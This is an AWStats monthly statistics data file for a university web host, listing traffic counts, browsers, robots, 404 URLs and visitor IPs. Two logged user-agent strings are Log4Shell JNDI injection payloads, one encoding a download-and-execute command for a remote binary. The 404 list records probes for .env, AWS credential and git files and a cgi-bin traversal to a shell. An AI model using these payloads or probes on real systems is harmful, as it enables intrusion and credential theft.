AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202212 will be lost/reset.
# Last config file used to build this data file was /home/campusmayadinedu/tmp/awstats/ssl/awstats.a2z-english.campus.mayadin.edu.sa.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2042                
POS_TIME 2719                
POS_VISITOR 14739               
POS_DAY 28849               
POS_DOMAIN 3478                
POS_LOGIN 3998                
POS_ROBOT 4153                
POS_WORMS 4674                
POS_EMAILSENDER 4805                
POS_EMAILRECEIVER 4948                
POS_SESSION 29650               
POS_SIDER 29861               
POS_FILETYPES 5083                
POS_DOWNLOADS 5168                
POS_OS 5216                
POS_BROWSER 5581                
POS_SCREENSIZE 7253                
POS_UNKNOWNREFERER 7327                
POS_UNKNOWNREFERERBROWSER 8484                
POS_ORIGIN 9384                
POS_SEREFERRALS 9520                
POS_PAGEREFS 9664                
POS_SEARCHWORDS 9812                
POS_KEYWORDS 9964                
POS_MISC 2383                
POS_ERRORS 10023               
POS_CLUSTER 3854                
POS_SIDER_404 10132               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20230101002056 61 9596 9114635380721
FirstTime 20221201010106
LastTime 20221231235939
LastUpdate 20230101131544 61 0 60 0 0
TotalVisits 1384                
TotalUnique 370                 
MonthHostsKnown 0                   
MonthHostsUnknown 370                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavaEnabled 0 0 0
TotalMisc 0 0 0
DirectorSupport 0 0 0
RealPlayerSupport 0 0 0
AddToFavourites 0 0 0
PDFSupport 0 0 0
JavascriptDisabled 0 0 0
QuickTimeSupport 0 0 0
FlashSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 56 56 34265 69 117 4361
1 58 58 36134 44 91 3738
2 64 64 39872 33 86 3115
3 61 61 38003 55 92 3115
4 50 50 31150 47 86 6230
5 53 53 33019 48 88 3115
6 75 75 44856 46 76 3738
7 60 60 37380 94 137 7476
8 52 52 32396 113 155 4361
9 41 41 25543 58 98 4361
10 69 69 42987 59 109 1869
11 63 63 38003 67 110 7476
12 69 69 42987 72 124 1869
13 80 80 49840 77 109 2492
14 107 107 66038 79 148 3738
15 142 142 88466 74 206 3115
16 49 49 30527 47 79 2492
17 32 32 19313 37 53 3978
18 54 54 33642 61 107 2191
19 47 47 29281 31 69 1869
20 61 61 38003 103 150 10115
21 54 54 33019 53 93 2212
22 53 53 33019 49 88 1869
23 57 57 35511 40 89 3738
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 24
us 1213 1213 753830
ca 70 70 43610
cn 68 68 40495
ch 42 42 26166
ru 27 27 16821
gb 21 21 13083
nl 16 16 9968
be 10 10 6230
in 6 6 3738
jp 6 6 3738
dk 4 4 2492
cl 4 4 623
sa 3 3 1869
ua 3 3 1869
mn 2 2 1246
gr 2 2 1246
de 2 2 1246
fr 2 2 1246
eu 1 1 623
pl 1 1 623
il 1 1 623
lt 1 1 623
si 1 1 623
au 1 1 623
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 11
no_user_agent 112 67284 20221231211719 0
(firefox/)([0-9]\.|[0-1][0]\.) 10 6230 20221230112150 0
survey 7 4361 20221215073115 0
java 3 1869 20221218110120 0
Go\-http\-client/ 3 1869 20221221144410 0
link 2 1246 20221230104221 0
curl 2 1246 20221230121517 0
scanner 1 623 20221209173520 0
Konqueror/ 1 623 20221204073240 0
libwww\-perl 1 623 20221204234225 0
ng/1\. 1 623 20221224152034 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 1
html 1507 933254 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 22
ios_iphone 1 1
android10 2 2
os/2 2 2
androidoreo 1 1
macosx12 4 4
linuxubuntu 3 3
win8 4 4
macosx11 28 28
macosx5 2 2
macosx13 4 4
win7 29 29
Unknown 1088 1088
win8.1 2 2
androidmarshmallow 3 3
android 7 7
macosx15 18 18
macosx14 1 1
androidpie 1 1
winxp 5 5
winvista 1 1
linux 34 34
win10 267 267
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 78
chrome49.0.2623.112 1 1
opera62.0.3331.116 1 1
firefox73.0 3 3
chrome54.0.3003.93 1 1
chrome96.0.4664.110 5 5
chrome74.0.3729.169 5 5
safari15.5 2 2
arora 1 1
chrome84.0.4147.89 1 1
firefox58.0.1 1 1
chrome106.0.0.0 6 6
chrome28.0.1468.0 1 1
chrome63.0.3239.132 22 22
chrome55.0.2883.87 1 1
chrome77.0.3865.120 2 2
chrome76.0.3809.111 1 1
chrome79.0.3945.130 3 3
chrome35.0.3319.102 1 1
firefox105.0 9 9
firefox104.0 10 10
chrome76.0.3809.100 1 1
chrome52.0.3265.98 2 2
chrome105.0.0.0 8 8
chrome60.0.3112.113 94 94
chrome71.0.3578.98 1 1
chrome98.0.4758.102 9 9
chrome60.0.3112.90 2 2
chrome98.0.4758.132 1 1
chrome104.0.5112.126 3 3
firefox79.0 8 8
firefox91.0 3 3
chrome54.0.2840.98 4 4
chrome85.0.1168 1 1
chrome101.0.4951.41 4 4
chrome103.0.5060.114 4 4
safari 2 2
chrome108.0.0.0 26 26
chrome50.0.3018.55 1 1
netscape5.0 55 55
firefox72.0 4 4
chrome50.0.2661.102 2 2
firefox58.0 2 2
chrome41.0.2225.0 2 2
firefox65.0 2 2
chrome101.0.4951.61 1 1
opera90.0.4480.117 1 1
firefox101.0 8 8
firefox35.0 2 2
Unknown 118 118
chrome44.0.2403.157 1 1
chrome78.0.3904.108 42 42
firefox78.0 31 31
chrome66.0.3359.117 2 2
firefox106.0 2 2
chrome70.0.3538.77 1 1
chrome37.0.0.0 1 1
chrome104.0.5112.101 1 1
chrome41.0.2228.0 4 4
chrome101.0.4951.54 1 1
chrome88.0.4324.190 5 5
firefox108.0 1 1
chrome83.0.4103.61 2 2
chrome72.0.3626.122 1 1
firefox45.0 1 1
safari15.6.1 3 3
chrome94.0.4606.81 1 1
chrome74.0.3729.131 2 2
firefox107.0 2 2
chrome35.0.2117.157 1 1
opera11.1010 1 1
chrome94.0.4606.61 1 1
firefox47.0 26 26
chrome103.0.0.0 5 5
chrome17.0.963.84 1 1
mozilla 916 916
firefox103.0 2 2
edge12 1 1
chrome52.0.3004.64 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 12
python-requests/2.25.1 20221217020733
${jndi:ldap://${hostName}.useragent.cem4skmc7jlosr000010rdqh113af4wuw.oast.fun} 20221228164203
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20221231235939
l9tcpid/v1.1.0 20221226001138
HTTP_Banner_Detection_(https://security.ipip.net) 20221229030708
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20221230113303
python-requests/2.27.1 20221228093559
Mozilla/5.0_zgrab/0.x 20221231063935
python-requests/2.28.1 20221231150300
Mozilla/5.0 20221231223236
${jndi:ldap://20.115.68.156:443/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vODUuMjA5LjEzNS42NS9tdnAvbHNoYm9vdC54ODYgJiYgY2htb2QgNzc3IGxzaGJvb3QueDg2ICYmIC4vbHNoYm9vdC54ODYgbHNoYm9vdC54ODYgJiYgcm0gbHNoYm9vdC54ODY=} 20221214014038
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20221231110823
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 8
${jndi:ldap://20.115.68.156:443/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vODUuMjA5LjEzNS42NS9tdnAvbHNoYm9vdC54ODYgJiYgY2htb2QgNzc3IGxzaGJvb3QueDg2ICYmIC4vbHNoYm9vdC54ODYgbHNoYm9vdC54ODYgJiYgcm0gbHNoYm9vdC54ODY=} 20221214014038
l9tcpid/v1.1.0 20221226001138
python-requests/2.25.1 20221217020733
HTTP_Banner_Detection_(https://security.ipip.net) 20221229030708
${jndi:ldap://${hostName}.useragent.cem4skmc7jlosr000010rdqh113af4wuw.oast.fun} 20221228164203
python-requests/2.28.1 20221231150300
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20221231110823
python-requests/2.27.1 20221228093559
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 1506 1506
From1 1 1
From2 0 0
From3 0 0
From4 0 0
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 3
301 1 240
404 1401 0
421 18 5796
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 165
/99vt 5 -
/cgi-bin/luci 2 -
/suite-api/api/auth/token/acquire 1 https://autodiscover.mayadin.edu.sa/ui/
/a 1 -
/cgit 1 -
/websso/SAML2/SSO/vsphere.local 1 -
/owa/ 31 -
/api/v2/cmdb/system/admin/admin 20 -
/webtools/control/main 1 -
/admin/modules/fw_ari/htdocs_ari/index.php 1 -
/api/login 1 https://autodiscover.mayadin.edu.sa/manage/account/login
/admin/.env 6 -
/.git/config 45 -
/c42api/v3/LoginConfiguration 1 -
/autodiscover/autodiscover.xml 3 -
/phpmyadmin/ 2 -
/docker/.env 2 -
/mPlayer 1 -
/idx_config/ 3 -
/Dockerrun.aws.json 3 -
/opennms/j_spring_security_check 1 https://autodiscover.mayadin.edu.sa/opennms/login.jsp
/robots.txt 54 -
/Res/login.html 2 -
/HNAP1 2 -
/c/version.js 5 -
/server-status 5 -
/actuator/gateway/routes 19 -
/z8Ch 1 -
/zdm/cxf/login 1 https://autodiscover.mayadin.edu.sa/zdm/login_xdm_uc.jsp
/.git/HEAD 1 -
/api/geojson 1 -
/Q8jj 1 -
/flu/403.html 5 -
/admin/config.php 1 -
/6uLe 1 -
/phpinfo 3 -
/owa/auth.owa 69 -
/cgi-bin/config.exp 2 -
/hybridity/api/sessions 1 -
/wp-config.php 1 -
/axis2/ 1 -
/sitemap.xml 13 -
/autodiscover/autodiscover.json 26 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 15 -
/.env 108 -
/ab2g 36 -
/epa/scripts/win/nsepa_setup.exe 1 -
//phpinfo 1 -
/telescope/requests 5 -
/nmaplowercheck1669891680 1 -
/axis2-admin/ 1 -
/wp-admin/admin-ajax.php 1 -
/_profiler/phpinfo 3 -
/SiteLoader 1 -
/aab9 2 -
/jquery-3.3.2.slim.min.js 2 -
/qFt1 1 -
/system_api.php 5 -
/.well-known/security.txt 10 -
/j_security_check 2 https://autodiscover.mayadin.edu.sa
/ajax 4 -
/debug/default/view 2 -
/vendor/.env 4 -
/version 9 -
/.env.test 2 -
/JHtV 1 -
/about 2 -
/wp-content/plugins/google-mp3-audio-player/direct_download.php 1 -
/.env.development 2 -
/mifs/. 4 https://194.163.136.149:443
/' 1 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 18 -
/actuator/health 24 -
default.asp 3 -
/ReportServer 4 -
/s/934313e2633313e2336313e2439313/_/ 2 -
/icons/sphere1.png 2 -
/sqlite/ 1 -
/local/.env 2 -
/.DS_Store 5 -
//a2billing/customer/templates/default/footer.tpl 3 -
/99vu 5 -
/recordings/index.php 1 -
///3c625c27b4da33d3d5c12e8d02104755/js/login.js 5 -
/ui/login.action 2 -
/index.php 5 -
/axis2/axis2-admin/ 1 -
/YaUM 1 -
/aaaaaaaaaaaaaaaaaaaaaaaaaqr 5 -
/stream/live.php 5 -
/app/.env 3 -
/Electron/download/windows/%5CProgram%20Files%5C3CX%20Phone%20System%5CData%5CDB%5Cbase%5C16384%5C16393 2 -
/wp-content/.git/config 1 -
/api/.env 3 -
/console/ 5 -
/cgi-bin/../../../../bin/sh 5 -
/owa/auth/logon.aspx 45 -
/static/admin/javascript/hetong.js 3 -
/core/.env 8 -
/wp-config.php-backup.php 2 -
/solr/ 2 -
/admin//config.php 2 -
/Telerik.Web.UI.WebResource.axd 2 -
/config.json 5 -
/api/v2/cmdb/system/admin 4 -
///js/login.js 1 -
/aab8 2 -
/wp-content/themes/mTheme-Unus/css/css.php 1 -
/sdk 2 -
/ab2h 34 -
/download/file.ext 1 -
/wp-content/plugins/recent-backups/download-file.php 1 -
/glpi/status.php 1 -
//login_sid.lua 1 -
/v2/_catalog 2 -
/wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php 1 -
/dns-query 9 -
/api/search 2 -
/_search 1 -
/phpmyadmin/index.php 1 -
/nmaplowercheck1671407772 1 -
/dr/authentication/oauth2/oauth2login 1 -
/info.php 5 -
/explore 2 -
/194.163.136.149/.env 12 -
/wp-content/plugins/simple-image-manipulator/controller/download.php 1 -
/portal/info.jsp 1 -
/webclient/ 1 -
/_ignition/execute-solution 4 -
/.gitlab-ci.yml 3 -
/FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 3 -
/api/system/sessions 1 https://autodiscover.mayadin.edu.sa
/admin/ 5 -
/owa/auth/x.js 13 -
/evox/about 2 -
/remote/login 3 -
/.env.production 2 -
/js/zimbraMail/share/model/ZmSettings.js 1 -
/Autodiscover/Autodiscover.xml 5 -
///remote/fgt_lang 7 -
/solr/admin/collections 1 -
/remote/fgt_lang 68 -
/gbook.php 1 /gbook.php
/.aws/config/ 2 -
/showLogin.cc 8 -
/login.action 2 -
/WuEL 1 -
/favicon.ico/ 1 -
/Public/home/js/check.js 4 -
/status.php 1 -
/ccmadmin/j_security_check 1 https://autodiscover.mayadin.edu.sa/ccmadmin/showHome.do
/.aws/credentials 4 -
/streaming/clients_live.php 5 -
/nginx-status 1 -
/jquery-3.3.1.slim.min.js 2 -
/api/jsonws/ 1 -
/ 354 -
/casa/nodes/thumbprints 1 -
/3lvG 1 -
/webfig/ 2 -
/login 7 -
/cgi-bin/ 33 -
/goanywhere/auth/Login.xhtml 1 -
/stalker_portal/c/version.js 5 -
/mifs/j_spring_security_check 1 https://autodiscover.mayadin.edu.sa/mifs/user/login.jsp
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 370
183.136.225.32 45 45 28035 20221231050119
152.89.196.211 42 42 26166 20221231184815
167.248.133.117 37 37 23051 20221231182018
162.142.125.211 36 36 22428 20221231235939
162.142.125.10 33 33 20559 20221230204909
162.142.125.212 31 31 19313 20221227142838
167.94.138.119 31 31 19313 20221231000944
162.142.125.7 29 29 18067 20221231140752
167.248.133.60 29 29 18067 20221231222357
167.94.138.62 29 29 18067 20221231042607
167.94.138.46 28 28 17444 20221231191517
162.142.125.210 27 27 16821 20221231060201
162.142.125.221 27 27 16821 20221230052855
167.248.133.120 26 26 16198 20221231134627
167.248.133.118 26 26 16198 20221231151835
162.142.125.220 26 26 16198 20221231000731
167.248.133.62 26 26 16198 20221231105720
167.248.133.61 26 26 16198 20221231191544
167.248.133.47 26 26 16198 20221231194935
167.94.138.120 25 25 15575 20221230194008
162.142.125.8 24 24 14952 20221231104302
162.142.125.213 24 24 14952 20221231223221
167.248.133.44 24 24 14952 20221231101429
162.142.125.219 23 23 14329 20221231233052
167.94.138.60 23 23 14329 20221231013614
66.240.236.116 2 2 1246 20221220170215
107.21.81.88 1 1 623 20221217201104
185.165.190.34 1 1 623 20221204185747
216.218.206.102 1 1 623 20221209101154
60.217.75.70 10 10 6230 20221231223236
64.62.197.66 1 1 623 20221219120923
137.220.63.215 2 2 1246 20221212034334
192.241.211.13 1 1 623 20221224063007
192.241.210.201 1 1 623 20221212060948
43.135.86.121 1 1 623 20221220171940
165.227.176.69 1 1 623 20221224203210
64.62.197.240 1 1 623 20221225044458
34.76.96.55 13 13 8099 20221231150301
142.93.32.141 1 1 623 20221223070059
167.94.138.45 21 21 13083 20221231014314
64.62.197.5 1 1 623 20221215083041
188.166.232.195 2 2 1246 20221213030814
170.64.129.28 1 1 623 20221207153931
87.236.176.91 1 1 623 20221224032507
128.14.134.170 5 5 3115 20221229193643
192.241.195.58 1 1 623 20221204055920
47.88.94.28 1 1 623 20221217113447
3.85.145.204 1 1 623 20221204121451
45.83.66.168 1 1 623 20221213182900
51.252.34.72 1 1 623 20221212072442
164.52.25.251 2 2 1246 20221230184802
172.105.101.117 1 1 623 20221201102437
198.199.110.176 1 1 623 20221230063612
134.209.195.58 1 1 623 20221214183737
198.235.24.22 2 2 1246 20221224040639
5.2.67.180 1 1 623 20221228172204
43.135.123.64 1 1 623 20221217030549
165.227.196.232 1 1 623 20221205123612
165.232.186.61 1 1 623 20221222070404
87.236.176.95 1 1 623 20221214121858
192.241.203.88 1 1 623 20221208060635
185.180.143.72 2 2 1246 20221215063255
13.52.78.243 1 1 623 20221226052827
195.178.120.47 1 1 623 20221216033245
198.235.24.54 2 2 1246 20221219190211
205.210.31.148 1 1 623 20221203061609
128.1.248.42 9 9 5607 20221231024007
66.240.219.146 1 1 623 20221228234309
52.53.162.128 1 1 623 20221212061034
198.235.24.56 1 1 623 20221216195932
192.241.208.175 1 1 623 20221218061618
27.189.124.245 1 1 623 20221221052712
64.62.197.133 1 1 623 20221228072734
167.172.33.28 1 1 623 20221214105344
170.187.184.126 1 1 623 20221228070629
205.210.31.27 1 1 623 20221213090926
205.210.31.5 1 1 623 20221217143913
167.99.41.38 1 1 623 20221210100547
209.141.49.169 1 1 623 20221204025932
34.77.127.183 5 5 3115 20221227142930
213.32.122.82 4 4 2492 20221228173235
64.62.197.127 1 1 623 20221229112512
87.236.176.144 1 1 623 20221203014852
64.62.197.42 1 1 623 20221226135210
89.117.59.217 1 1 623 20221228093559
192.241.199.130 1 1 623 20221215061212
192.241.204.230 1 1 623 20221209060658
205.210.31.22 1 1 623 20221209145849
172.245.90.197 1 1 623 20221224185400
185.142.236.41 1 1 623 20221216153139
44.201.98.117 1 1 623 20221203103146
205.210.31.174 1 1 623 20221223111249
198.235.24.35 1 1 623 20221217190222
64.62.197.88 1 1 623 20221205041454
198.235.24.39 1 1 623 20221202110445
192.241.200.24 1 1 623 20221221062354
192.241.195.38 1 1 623 20221223062707
46.101.201.79 1 1 623 20221221034158
23.251.102.74 7 7 4361 20221230034032
185.180.143.79 2 2 1246 20221221190251
205.210.31.54 1 1 623 20221210221032
167.172.112.50 1 1 623 20221205103003
170.64.134.222 1 1 623 20221203191454
64.62.197.221 1 1 623 20221201152147
74.82.47.4 2 2 1246 20221217040905
142.93.122.99 1 1 623 20221210175018
147.182.182.190 1 1 623 20221227214129
205.210.31.25 1 1 623 20221213130947
74.82.47.5 3 3 1869 20221231040945
64.62.197.14 1 1 623 20221223012735
46.101.126.164 1 1 623 20221214091312
64.227.180.21 1 1 623 20221215112453
172.105.161.142 2 2 1246 20221231132439
198.199.93.247 1 1 623 20221216061324
198.235.24.134 1 1 623 20221203104133
167.99.36.6 1 1 623 20221223162723
87.236.176.55 1 1 623 20221208143837
27.189.126.3 1 1 0 20221218061029
198.20.87.98 1 1 623 20221229185835
205.210.31.163 1 1 623 20221211011107
43.128.225.197 1 1 623 20221209122449
64.62.197.62 1 1 623 20221204144637
47.89.195.210 1 1 623 20221201125832
157.230.244.183 1 1 623 20221216210612
87.236.176.173 1 1 623 20221217190554
45.79.178.89 1 1 0 20221231215158
2.57.122.23 1 1 623 20221225125107
20.115.68.156 1 1 623 20221214014038
167.94.138.118 17 17 10591 20221231210038
87.236.176.138 1 1 623 20221211142152
205.210.31.28 1 1 623 20221217074107
205.210.31.46 1 1 623 20221223195230
185.180.143.6 3 3 1869 20221222162301
167.71.12.145 1 1 623 20221203114323
205.210.31.154 1 1 623 20221223143338
66.240.236.109 1 1 623 20221213212701
205.210.31.141 2 2 1246 20221223130928
188.166.79.4 2 2 1246 20221221144023
34.140.248.32 7 7 4361 20221226142505
205.210.31.21 1 1 623 20221223073353
47.88.87.97 1 1 623 20221228004737
205.210.31.161 2 2 1246 20221223160510
65.49.20.69 4 4 2492 20221227060717
159.203.184.219 1 1 623 20221229080314
51.159.99.253 2 2 1246 20221211022954
192.241.194.196 1 1 623 20221213061052
192.241.227.26 1 1 623 20221229063644
51.158.237.126 2 2 1246 20221227222152
128.199.60.8 1 1 623 20221226004133
87.236.176.104 1 1 623 20221227092603
223.111.175.3 1 1 623 20221227003726
103.203.59.1 3 3 1869 20221229030708
167.94.138.47 21 21 13083 20221230034534
50.31.21.4 1 1 0 20221201114801
181.214.206.186 3 3 0 20221227110331
198.235.24.145 1 1 623 20221224064936
109.231.19.158 1 1 623 20221211164750
43.153.208.98 1 1 623 20221224202606
20.113.29.76 1 1 623 20221229000311
52.187.54.3 1 1 623 20221214223600
198.235.24.163 1 1 623 20221216212002
205.210.31.182 1 1 623 20221217025237
184.105.247.196 2 2 1246 20221216123249
198.235.24.25 1 1 623 20221216005143
170.187.164.181 1 1 623 20221221144410
192.241.205.235 1 1 623 20221203055717
205.210.31.139 1 1 623 20221218104346
185.180.143.140 2 2 1246 20221222203304
205.210.31.50 1 1 623 20221217084123
35.233.62.116 7 7 4361 20221225141810
68.183.194.175 1 1 623 20221227112150
205.185.121.69 1 1 623 20221210211236
43.158.216.231 1 1 623 20221212194955
35.216.225.215 1 1 623 20221208101509
124.156.222.254 1 1 623 20221231154433
104.210.55.152 1 1 623 20221221212122
54.193.73.22 1 1 623 20221209114659
124.156.223.178 1 1 623 20221205204437
198.235.24.146 1 1 623 20221224122931
198.235.24.21 1 1 623 20221216222102
185.180.143.147 1 1 623 20221201053745
64.62.197.105 1 1 623 20221230130329
139.59.21.240 1 1 623 20221228160329
216.218.206.123 1 1 623 20221202084537
159.65.202.251 1 1 623 20221212210952
198.235.24.161 1 1 623 20221217070657
205.210.31.152 1 1 623 20221224080553
64.62.197.43 1 1 623 20221226134148
198.235.24.46 2 2 1246 20221218022242
66.240.192.138 1 1 623 20221220223750
198.235.24.154 1 1 623 20221224180403
198.235.24.141 1 1 623 20221217144140
205.210.31.20 1 1 623 20221224041922
71.6.167.142 1 1 623 20221229002933
68.183.14.35 1 1 623 20221228034113
167.94.146.57 2 2 1246 20221226074305
167.71.128.70 1 1 623 20221217200122
198.235.24.170 1 1 623 20221217075606
192.241.212.209 1 1 623 20221220061750
27.189.127.83 2 2 1246 20221221061452
198.235.24.175 1 1 623 20221224063910
178.128.238.126 2 2 1246 20221214012810
87.236.176.23 1 1 623 20221205143353
64.62.197.49 2 2 1246 20221220014209
87.236.176.192 1 1 623 20221230113303
167.94.138.44 22 22 13706 20221230000843
142.93.220.162 1 1 623 20221208090935
209.141.51.222 2 2 1246 20221210211235
46.101.81.197 1 1 623 20221223181721
35.216.244.6 1 1 623 20221206134936
45.83.66.216 1 1 623 20221221032755
27.189.126.199 1 1 0 20221213061443
64.62.197.136 1 1 623 20221228071656
198.235.24.47 1 1 623 20221218032228
103.149.192.83 1 1 623 20221219072154
198.235.24.171 1 1 623 20221214005201
27.189.126.211 1 1 0 20221218062650
208.100.26.230 1 1 0 20221219005613
185.224.128.202 2 2 1246 20221225005135
162.221.192.26 9 9 5607 20221227120245
94.102.61.8 5 5 3115 20221228111212
88.214.56.237 1 1 623 20221202051609
198.199.95.194 1 1 623 20221214061048
35.216.166.72 1 1 623 20221223021849
159.203.143.120 1 1 623 20221215215532
35.216.188.92 1 1 623 20221208102844
167.248.133.46 16 16 9968 20221230043057
217.182.8.40 4 4 2492 20221228164203
34.229.119.66 1 1 623 20221210123422
64.62.197.217 1 1 623 20221211142414
5.182.210.92 1 1 623 20221216080247
206.189.108.70 1 1 623 20221215055954
178.32.197.81 1 1 623 20221208111922
137.184.168.71 1 1 623 20221227165358
128.1.248.26 7 7 4361 20221226121805
170.64.137.204 1 1 623 20221222031033
205.210.31.12 1 1 623 20221224100826
185.170.144.153 2 2 1246 20221230041016
87.236.176.154 1 1 623 20221221025333
38.242.219.189 1 1 623 20221202053645
167.94.138.117 23 23 14329 20221231064157
65.49.20.68 3 3 1869 20221224032241
165.227.208.169 1 1 623 20221204033516
27.189.127.81 1 1 623 20221220062221
74.82.47.12 1 1 623 20221210084254
195.144.21.56 1 1 623 20221217205001
65.49.20.66 2 2 1246 20221222040743
64.62.197.8 2 2 1246 20221223013858
167.94.145.57 3 3 1869 20221229063016
74.82.47.3 2 2 1246 20221218121019
209.141.33.65 1 1 623 20221204024452
134.209.183.16 1 1 623 20221219032658
167.248.133.63 19 19 11837 20221230211139
178.62.197.101 1 1 623 20221219083012
3.94.111.171 1 1 623 20221226020655
172.104.193.53 1 1 623 20221220205003
167.94.145.60 1 1 623 20221203043757
165.22.85.212 1 1 623 20221205041028
165.22.85.251 1 1 623 20221229221318
68.183.193.109 1 1 623 20221206112020
185.180.143.7 1 1 623 20221222170459
161.35.220.111 1 1 623 20221229110904
